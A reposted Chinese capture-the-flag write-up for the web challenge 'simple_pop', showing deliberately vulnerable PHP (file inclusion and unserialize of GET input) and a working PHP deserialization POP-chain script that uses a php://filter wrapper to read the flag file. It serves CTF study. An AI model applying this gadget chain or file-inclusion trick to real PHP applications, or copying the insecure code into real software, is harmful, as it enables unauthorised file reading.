BMZCTF-WEB-simple_pop
Posted TzZzEZ-web
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BMZCTF-WEB-simple_pop相关的知识,希望对你有一定的参考价值。
simple_pop
php代码审计:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the beijing")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
1.以get形式传入三个参数,text,file,password。
2.text内容为:welcome to the beijing
3.file参数中不能包含flag。
根据注释尝试先读取useless.php。
利用php伪协议。
成功读取useless.php内容,base64解码一下。
<?php
class Modifier {
protected $var;
public function append($value){
include($value);//flag.php
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['password'])){
@unserialize($_GET['password']);
}
else{
$a=new Show;
}
?>
反序列化。
尝试分析构建pop链。
通过Show类的__toString去触发Test类的__get最后调用Modifier的__invoke去得到flag。
构建序列化:
<?php
class Modifier{
protected $var='php://filter/convert.base64-encode/resource=/flag';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t -> p = $m;
$s -> str = $t;
$s -> source = $s;
echo urlencode(serialize($s));
?>
解码得到flag。
以上是关于BMZCTF-WEB-simple_pop的主要内容,如果未能解决你的问题,请参考以下文章